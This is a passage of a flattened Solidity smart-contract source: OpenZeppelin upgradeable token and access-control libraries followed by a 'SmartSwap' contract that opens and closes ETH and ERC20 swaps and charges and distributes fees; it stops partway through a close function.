@openzeppelin/contracts-ethereum-package/contracts/utils/Address.sol pragma solidity ^0.6.2; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // According to EIP-1052, 0x0 is the value returned for not-yet created accounts // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned // for accounts without code, i.e. `keccak256('')` bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } } // File: @openzeppelin/contracts-ethereum-package/contracts/token/ERC20/ERC20.sol pragma solidity ^0.6.0; /** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20MinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin guidelines: functions revert instead * of returning `false` on failure. This behavior is nonetheless conventional * and does not conflict with the expectations of ERC20 applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */ contract ERC20UpgradeSafe is Initializable, ContextUpgradeSafe, IERC20 { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; uint8 private _decimals; /** * @dev Sets the values for {name} and {symbol}, initializes {decimals} with * a default value of 18. * * To select a different value for {decimals}, use {_setupDecimals}. * * All three of these values are immutable: they can only be set once during * construction. */ function __ERC20_init(string memory name, string memory symbol) internal initializer { __Context_init_unchained(); __ERC20_init_unchained(name, symbol); } function __ERC20_init_unchained(string memory name, string memory symbol) internal initializer { _name = name; _symbol = symbol; _decimals = 18; } /** * @dev Returns the name of the token. */ function name() public view returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is * called. * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view returns (uint8) { return _decimals; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}; * * Requirements: * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens. * * This is internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Sets {decimals} to a value other than the default one of 18. * * WARNING: This function should only be called from the constructor. Most * applications that interact with token contracts will not expect * {decimals} to ever change, and may work incorrectly if it does. */ function _setupDecimals(uint8 decimals_) internal { _decimals = decimals_; } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } uint256[44] private __gap; } // File: @openzeppelin/contracts-ethereum-package/contracts/token/ERC20/SafeERC20.sol pragma solidity ^0.6.0; /** * @title SafeERC20 * @dev Wrappers around ERC20 operations that throw on failure (when the token * contract returns false). Tokens that return no value (and instead revert or * throw on failure) are also supported, non-reverting calls are assumed to be * successful. * To use this library you can add a `using SafeERC20 for ERC20;` statement to your contract, * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. */ library SafeERC20 { using SafeMath for uint256; using Address for address; function safeTransfer(IERC20 token, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } function safeApprove(IERC20 token, address spender, uint256 value) internal { // safeApprove should only be called when setting an initial allowance, // or when resetting it to zero. To increase and decrease it, use // 'safeIncreaseAllowance' and 'safeDecreaseAllowance' // solhint-disable-next-line max-line-length require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).add(value); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero"); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } /** * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement * on the return value: the return value is optional (but if data is returned, it must not be false). * @param token The token targeted by the call. * @param data The call data (encoded using abi.encode or one of its variants). */ function _callOptionalReturn(IERC20 token, bytes memory data) private { // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since // we're implementing it ourselves. // A Solidity high level call has three parts: // 1. The target address is checked to verify it contains contract code // 2. The call itself is made, and success asserted // 3. The return value is decoded, which in turn checks the size of the returned data. // solhint-disable-next-line max-line-length require(address(token).isContract(), "SafeERC20: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = address(token).call(data); require(success, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } // File: @openzeppelin/contracts-ethereum-package/contracts/access/Ownable.sol pragma solidity ^0.6.0; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ contract OwnableUpgradeSafe is Initializable, ContextUpgradeSafe { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ function __Ownable_init() internal initializer { __Context_init_unchained(); __Ownable_init_unchained(); } function __Ownable_init_unchained() internal initializer { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } uint256[49] private __gap; } // File: @openzeppelin/contracts-ethereum-package/contracts/utils/Pausable.sol pragma solidity ^0.6.0; /** * @dev Contract module which allows children to implement an emergency stop * mechanism that can be triggered by an authorized account. * * This module is used through inheritance. It will make available the * modifiers `whenNotPaused` and `whenPaused`, which can be applied to * the functions of your contract. Note that they will not be pausable by * simply including this module, only once the modifiers are put in place. */ contract PausableUpgradeSafe is Initializable, ContextUpgradeSafe { /** * @dev Emitted when the pause is triggered by `account`. */ event Paused(address account); /** * @dev Emitted when the pause is lifted by `account`. */ event Unpaused(address account); bool private _paused; /** * @dev Initializes the contract in unpaused state. */ function __Pausable_init() internal initializer { __Context_init_unchained(); __Pausable_init_unchained(); } function __Pausable_init_unchained() internal initializer { _paused = false; } /** * @dev Returns true if the contract is paused, and false otherwise. */ function paused() public view returns (bool) { return _paused; } /** * @dev Modifier to make a function callable only when the contract is not paused. */ modifier whenNotPaused() { require(!_paused, "Pausable: paused"); _; } /** * @dev Modifier to make a function callable only when the contract is paused. */ modifier whenPaused() { require(_paused, "Pausable: not paused"); _; } /** * @dev Triggers stopped state. */ function _pause() internal virtual whenNotPaused { _paused = true; emit Paused(_msgSender()); } /** * @dev Returns to normal state. */ function _unpause() internal virtual whenPaused { _paused = false; emit Unpaused(_msgSender()); } uint256[49] private __gap; } // File: contracts/IERC20Extended.sol pragma solidity 0.6.2; interface IERC20Extended { function decimals() external view returns (uint8); function burnFrom(address account, uint256 amount) external; } // File: contracts/IPriceEstimator.sol pragma solidity 0.6.2; interface IPriceEstimator { function getEstimatedETHforERC20( uint256 erc20Amount, address token ) external view returns (uint256[] memory); function getEstimatedERC20forETH( uint256 etherAmountInWei, address tokenAddress ) external view returns (uint256[] memory); } // File: contracts/SmartSwap.sol pragma solidity 0.6.2; contract SmartSwap is Initializable, OwnableUpgradeSafe, PausableUpgradeSafe { using SafeERC20 for IERC20; using SafeMath for uint256; using Address for address; enum Status { OPEN, CLOSED, CANCELLED } enum SwapType { ETH_TO_ERC20, ERC20_TO_ETH, ERC20_TO_ERC20 } struct Swap { uint256 openValue; uint256 closeValue; address payable openTrader; address payable closeTrader; address openContractAddress; address closeContractAddress; SwapType swapType; Status status; } address constant private ETH_ADDRESS = address( 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE ); uint256 constant private DEV_FEE_PERCENTAGE = 10; uint256 constant private BURN_FEE_PERCENTAGE = 10; //Global swap id. Also give total number of swaps made so far uint256 private _swapId; mapping (uint256 => Swap) private _swaps; IERC20 private _swapToken; //Wallet where fees will go address payable private _feesWallet; //Wallet where dev fund will go address private _devWallet; uint256 private _ethFeePercentage; uint256 private _allowedFeeSlippagePercentage; uint256 private _uniswapFeePercentage; IPriceEstimator private _priceEstimator; //list of free tokens mapping(address => bool) private _listFreeTokens; event Open(uint256 indexed id, address indexed openTrader, address indexed closeTrader); event Cancel(uint256 indexed id); event Close(uint256 indexed id); event FeeWalletChanged(address indexed wallet); event DevWalletChanged(address indexed wallet); event SwapTokenUpdated(address indexed swapTokenAddress); modifier onlyContract(address account) { require(account.isContract(), "[Validation] The address does not contain a contract"); _; } modifier onlyOpenSwaps(uint256 id) { Swap memory swap = _swaps[id]; require (swap.status == Status.OPEN); _; } /** * @dev initialize */ function initialize( address swapTokenAddress, address payable feesWallet, address devWallet, address priceEstimator ) external onlyContract(swapTokenAddress) onlyContract(priceEstimator) { __SmartSwap_init(swapTokenAddress, feesWallet, devWallet, priceEstimator); } function __SmartSwap_init( address swapTokenAddress, address payable feesWallet, address devWallet, address priceEstimator ) internal initializer { __Context_init_unchained(); __Ownable_init_unchained(); __Pausable_init_unchained(); __SmartSwap_init_unchained(swapTokenAddress, feesWallet, devWallet, priceEstimator); } function __SmartSwap_init_unchained( address swapTokenAddress, address payable feesWallet, address devWallet, address priceEstimator ) internal initializer { require( swapTokenAddress != address(0), "[Validation] Invalid swap token address" ); require(feesWallet != address(0), "[Validation] feesWallet is the zero address"); require(devWallet != address(0), "[Validation] devWallet is the zero address"); require( priceEstimator != address(0), "[Validation] Invalid price estimator address" ); _swapToken = IERC20(swapTokenAddress); _feesWallet = feesWallet; _devWallet = devWallet; _priceEstimator = IPriceEstimator(priceEstimator); _ethFeePercentage = 3; _allowedFeeSlippagePercentage = 5; _uniswapFeePercentage = 3; } /** * @dev Called by an admin to pause, triggers stopped state. */ function pause() external onlyOwner { _pause(); } /** * @dev Called by an admin to unpause, returns to normal state. */ function unpause() external onlyOwner { _unpause(); } /** * @dev Update swap token address * @param swapTokenAddress New swap token address */ function setSwapToken(address swapTokenAddress) external onlyOwner onlyContract(swapTokenAddress) { require( swapTokenAddress != address(0), "[Validation]: Invalid swap token address" ); _swapToken = IERC20(swapTokenAddress); emit SwapTokenUpdated(swapTokenAddress); } /** * @dev Allows admin to set fee receiver wallet * @param wallet New wallet address */ function setFeeWallet(address payable wallet) external onlyOwner { require( wallet != address(0), "[Validation] feesWallet is the zero address" ); _feesWallet = wallet; emit FeeWalletChanged(wallet); } /** * @dev Allows admin to set fee receiver wallet * @param wallet New wallet address */ function setDevWallet(address payable wallet) external onlyOwner { require( wallet != address(0), "[Validation] devWallet is the zero address" ); _devWallet = wallet; emit DevWalletChanged(wallet); } /** * @dev Update price estimator address * @param priceEstimator New price estimator address */ function setPriceEstimator(address priceEstimator) external onlyOwner onlyContract(priceEstimator) { require( priceEstimator != address(0), "[Validation]: Invalid price estimator address" ); _priceEstimator = IPriceEstimator(priceEstimator); } /** * @dev Update fees * @param ethFeePercentage New percentage of fee in eth */ function setEthFeePercentage(uint8 ethFeePercentage) external onlyOwner { require( ethFeePercentage >= 0 && ethFeePercentage <= 100, "[Validation]: ETH Fee percentage must be between 0 to 100" ); _ethFeePercentage = ethFeePercentage; } /** * @dev Update fee slippage percentage allowance for erc20 * @param allowedFeeSlippagePercentage New allowed fee slippage percentage for fee in erc20 */ function setAllowedFeeSlippagePercentage(uint8 allowedFeeSlippagePercentage) external onlyOwner { require( allowedFeeSlippagePercentage >= 0 && allowedFeeSlippagePercentage <= 100, "[Validation]: Allowed Fee Slippage percentage must be between 0 to 100" ); _allowedFeeSlippagePercentage = allowedFeeSlippagePercentage; } /** * @dev Update Uniswap fees * @param uniswapFeePercentage New percentage of uniswap fee */ function setUniswapFeePercentage(uint8 uniswapFeePercentage) external onlyOwner { require( uniswapFeePercentage >= 0 && uniswapFeePercentage <= 100, "[Validation]: Uniswap Fee percentage must be between 0 to 100" ); _uniswapFeePercentage = uniswapFeePercentage; } function getFeeInEthForEth(uint256 amount) public view returns (uint256) { //_ethFeePercentage is a percentage expressed in 1/10 (a tenth) of a percent hence we divide by 1000 return amount.mul(_ethFeePercentage).div(1000); //0.3% of ETH amount } function getFeeInEthForERC20(uint256 amount, address token) public view returns (uint256) { if(isFreeToken(token)) { return 0; } else { //price should be estimated by 1 token because Uniswap algo changes price based on large amount uint256 tokenBits = 10 ** uint256(IERC20Extended(token).decimals()); uint256 estFeesInEthPerUnit = _priceEstimator.getEstimatedETHforERC20(tokenBits, token)[0]; //subtract uniswap 0.30% fees //_uniswapFeePercentage is a percentage expressed in 1/10 (a tenth) of a percent hence we divide by 1000 estFeesInEthPerUnit = estFeesInEthPerUnit.sub(estFeesInEthPerUnit.mul(_uniswapFeePercentage).div(1000)); uint256 equivEth = amount.mul(estFeesInEthPerUnit).div(tokenBits); //multiply by amount to be scheduled amount return getFeeInEthForEth(equivEth); } } function getFeeInEthForERC20UsingTotalSupply(uint256 amount, address token) public view returns (uint256) { if(isFreeToken(token)) { return 0; } else { //per 1% supply , 0.1 ETH is the fee uint256 tokenTotalSupply = IERC20(token).totalSupply(); uint256 percentage = amount.mul(tokenTotalSupply).mul(100).div(tokenTotalSupply); uint256 ethFeeInWei = 100000000000000000; //0.1 ETH return percentage.mul(ethFeeInWei).div(tokenTotalSupply); } } function getFeeInSwapForETH(uint256 amount) public view returns (uint256) { uint256 feesInEth = getFeeInEthForEth(amount); return _getEquivSwapFee(feesInEth); } function getFeeInSwapForERC20(uint256 amount, address token, bool calcFeeUsingTotalSupply) public view returns (uint256) { uint256 feesInEth = calcFeeUsingTotalSupply ? getFeeInEthForERC20UsingTotalSupply(amount, token) : getFeeInEthForERC20(amount, token); return _getEquivSwapFee(feesInEth); } function _getEquivSwapFee(uint256 feesInEth) private view returns (uint256) { uint256 feesInEthIfPaidViaSwap = feesInEth.div(2); uint256 swapPerEth = _priceEstimator.getEstimatedERC20forETH(1, address(_swapToken))[0]; //subtract uniswap 0.30% fees //_uniswapFeePercentage is a percentage expressed in 1/10 (a tenth) of a percent hence we divide by 1000 uint256 estSwapPerEth = swapPerEth.sub(swapPerEth.mul(_uniswapFeePercentage).div(1000)); return feesInEthIfPaidViaSwap.mul(estSwapPerEth); } function _distributeFees(uint256 fee) private { uint256 devAmount = fee.mul(DEV_FEE_PERCENTAGE).div(100); //10% uint256 burnAmount = fee.mul(BURN_FEE_PERCENTAGE).div(100); //10% uint256 remAmount = fee.sub(devAmount).sub(burnAmount); //80% _swapToken.safeTransferFrom(msg.sender, _feesWallet, remAmount); _swapToken.safeTransferFrom(msg.sender, _devWallet, devAmount); IERC20Extended(address(_swapToken)).burnFrom(msg.sender, burnAmount); } function open( uint256 openValue, address openContractAddress, uint256 closeValue, address payable closeTrader, address closeContractAddress, uint256 fee, bool isFeeInSwap, bool calcFeeUsingTotalSupply ) external payable whenNotPaused { require(openValue > 0, "[Validation] The open value has to be larger than 0"); require(closeValue > 0, "[Validation] The close value has to be larger than 0"); if(!isFreeToken(openContractAddress)) { require(fee > 0, "[Validation] The fee has to be larger than 0"); } require(closeTrader != address(0), "[Validation] Invalid close trader address"); if(ETH_ADDRESS == openContractAddress) { _openEtherToERC20( openValue, closeValue, closeTrader, closeContractAddress, fee, isFeeInSwap ); } else if(ETH_ADDRESS == closeContractAddress) { _openERC20ToEther( openValue, openContractAddress, closeTrader, closeValue, fee, isFeeInSwap, calcFeeUsingTotalSupply ); } else { _openERC20ToERC20( openValue, openContractAddress, closeValue, closeTrader, closeContractAddress, fee, isFeeInSwap, calcFeeUsingTotalSupply ); } } function _openEtherToERC20( uint256 ethValue, uint256 erc20Value, address payable erc20Trader, address erc20ContractAddress, uint256 fee, bool isFeeInSwap ) private whenNotPaused onlyContract(erc20ContractAddress) { require(ethValue > 0, "[Validation] The ETH amount has to be larger than 0"); require(erc20Value > 0, "[Validation] The ERC-20 amount has to be larger than 0"); require(fee > 0, "[Validation] The fee has to be larger than 0"); //Transferring fee to the wallet if(isFeeInSwap){ require(msg.value >= ethValue, "[Validation] Enough ETH not sent"); uint256 minRequiredFeeInSwap = getFeeInSwapForETH(ethValue); uint256 feeDiff = 0; if( fee < minRequiredFeeInSwap ) { feeDiff = minRequiredFeeInSwap.sub(fee); uint256 feeSlippagePercentage = feeDiff.mul(100).div(minRequiredFeeInSwap); //will allow if diff is less than 5% require(feeSlippagePercentage < _allowedFeeSlippagePercentage, "[Validation] Fee (SWAP) is below minimum required fee"); } _distributeFees(minRequiredFeeInSwap); } else { uint256 minRequiredFeeInEth = getFeeInEthForEth(ethValue); require(fee >= minRequiredFeeInEth, "[Validation] Fee (ETH) is below minimum required fee"); require(msg.value >= ethValue.add(minRequiredFeeInEth), "[Validation] Enough ETH not sent"); (bool success,) = _feesWallet.call.value(minRequiredFeeInEth)(""); require(success, "[Validation] Transfer of fee failed"); } _swapId = _swapId.add(1); // Store the details of the swap. _swaps[_swapId] = Swap({ openValue: ethValue, openTrader: msg.sender, openContractAddress: ETH_ADDRESS, closeValue: erc20Value, closeTrader: erc20Trader, closeContractAddress: erc20ContractAddress, swapType: SwapType.ETH_TO_ERC20, status: Status.OPEN }); emit Open(_swapId, msg.sender, erc20Trader); } function _openERC20ToEther( uint256 erc20Value, address erc20ContractAddress, address payable ethTrader, uint256 ethValue, uint256 fee, bool isFeeInSwap, bool calcFeeUsingTotalSupply ) private whenNotPaused onlyContract(erc20ContractAddress) { require(ethValue > 0, "[Validation] The ETH amount has to be larger than 0"); require(erc20Value > 0, "[Validation] The ERC-20 amount has to be larger than 0"); if(!isFreeToken(erc20ContractAddress)) { //Transfer fee to the wallet if(isFeeInSwap){ uint256 minRequiredFeeInSwap = getFeeInSwapForERC20(erc20Value, erc20ContractAddress, calcFeeUsingTotalSupply); uint256 feeDiff = 0; if( fee < minRequiredFeeInSwap ) { feeDiff = minRequiredFeeInSwap.sub(fee); uint256 feeSlippagePercentage = feeDiff.mul(100).div(minRequiredFeeInSwap); //will allow if diff is less than 5% require(feeSlippagePercentage < _allowedFeeSlippagePercentage, "[Validation] Fee (SWAP) is below minimum required fee"); } _distributeFees(minRequiredFeeInSwap); } else { uint256 minRequiredFeeInEth = calcFeeUsingTotalSupply ? getFeeInEthForERC20UsingTotalSupply(erc20Value, erc20ContractAddress) : getFeeInEthForERC20(erc20Value, erc20ContractAddress); require(fee >= minRequiredFeeInEth, "[Validation] Fee (ETH) is below minimum required fee"); require(msg.value >= minRequiredFeeInEth, "[Validation] msg.value doesn't contain enough ETH for fee"); (bool success,) = _feesWallet.call.value(minRequiredFeeInEth)(""); require(success, "[Validation] Transfer of fee failed"); } } // Transfer value from the opening trader to this contract. IERC20 openERC20Contract = IERC20(erc20ContractAddress); require(erc20Value <= openERC20Contract.allowance(msg.sender, address(this))); require(openERC20Contract.transferFrom(msg.sender, address(this), erc20Value)); _swapId = _swapId.add(1); // Store the details of the swap. _swaps[_swapId] = Swap({ openValue: erc20Value, openTrader: msg.sender, openContractAddress: erc20ContractAddress, closeValue: ethValue, closeTrader: ethTrader, closeContractAddress: ETH_ADDRESS, swapType: SwapType.ERC20_TO_ETH, status: Status.OPEN }); emit Open(_swapId, msg.sender, ethTrader); } function _openERC20ToERC20( uint256 openValue, address openContractAddress, uint256 closeValue, address payable closeTrader, address closeContractAddress, uint256 fee, bool isFeeInSwap, bool calcFeeUsingTotalSupply ) private whenNotPaused { require(openValue > 0, "[Validation] The open ERC-20 amount has to be larger than 0"); require(closeValue > 0, "[Validation] The close ERC-20 amount has to be larger than 0"); if(!isFreeToken(openContractAddress)) { //Transfer fee to the wallet if(isFeeInSwap){ uint256 minRequiredFeeInSwap = getFeeInSwapForERC20(openValue, openContractAddress, calcFeeUsingTotalSupply); uint256 feeDiff = 0; if( fee < minRequiredFeeInSwap ) { feeDiff = minRequiredFeeInSwap.sub(fee); uint256 feeSlippagePercentage = feeDiff.mul(100).div(minRequiredFeeInSwap); //will allow if diff is less than 5% require(feeSlippagePercentage < _allowedFeeSlippagePercentage, "[Validation] Fee (SWAP) is below minimum required fee"); } _distributeFees(minRequiredFeeInSwap); } else { uint256 minRequiredFeeInEth = calcFeeUsingTotalSupply ? getFeeInEthForERC20UsingTotalSupply(openValue, openContractAddress) : getFeeInEthForERC20(openValue, openContractAddress); require(fee >= minRequiredFeeInEth, "[Validation] Fee (ETH) is below minimum required fee"); require(msg.value >= minRequiredFeeInEth, "[Validation] msg.value doesn't contain enough ETH for fee"); (bool success,) = _feesWallet.call.value(minRequiredFeeInEth)(""); require(success, "[Validation] Transfer of fee failed"); } } // Transfer value from the opening trader to this contract. IERC20 openERC20Contract = IERC20(openContractAddress); require(openValue <= openERC20Contract.allowance(msg.sender, address(this))); require(openERC20Contract.transferFrom(msg.sender, address(this), openValue)); _swapId = _swapId.add(1); // Store the details of the swap. _swaps[_swapId] = Swap({ openValue: openValue, openTrader: msg.sender, openContractAddress: openContractAddress, closeValue: closeValue, closeTrader: closeTrader, closeContractAddress: closeContractAddress, swapType: SwapType.ERC20_TO_ERC20, status: Status.OPEN }); emit Open(_swapId, msg.sender, closeTrader); } function close( uint256 id, uint256 fee, bool isFeeInSwap, bool calcFeeUsingTotalSupply ) external payable onlyOpenSwaps(id) { Swap memory swap = _swaps[id]; require(swap.closeTrader == _msgSender(), "[Validation]: The caller is not authorized to close the trade"); if(SwapType.ETH_TO_ERC20 == swap.swapType) { _closeEtherToERC20( id, fee, isFeeInSwap, calcFeeUsingTotalSupply ); } else if(SwapType.ERC20_TO_ETH == swap.swapType) { _closeERC20ToEther( id, fee, isFeeInSwap ); } else { _closeERC20ToERC20( id, fee, isFeeInSwap, calcFeeUsingTotalSupply ); } } function _closeEtherToERC20( uint256 id, uint256 fee, bool isFeeInSwap, bool calcFeeUsingTotalSupply ) private onlyOpenSwaps(id) { Swap storage swap = _swaps[id]; if(!isFreeToken(swap.closeContractAddress)) { //Transfer fee to the wallet if(isFeeInSwap){ uint256 minRequiredFeeInSwap = getFeeInSwapForERC20(swap.closeValue, swap.closeContractAddress, calcFeeUsingTotalSupply); uint256 feeDiff = 0; if( fee < minRequiredFeeInSwap ) { feeDiff = minRequiredFeeInSwap.sub(fee); uint256 feeSlippagePercentage = feeDiff.mul(100).div(minRequiredFeeInSwap); //will allow if diff is less than 5% require(feeSlippagePercentage < _allowedFeeSlippagePercentage, "[Validation] Fee (SWAP) is below minimum required fee"); } 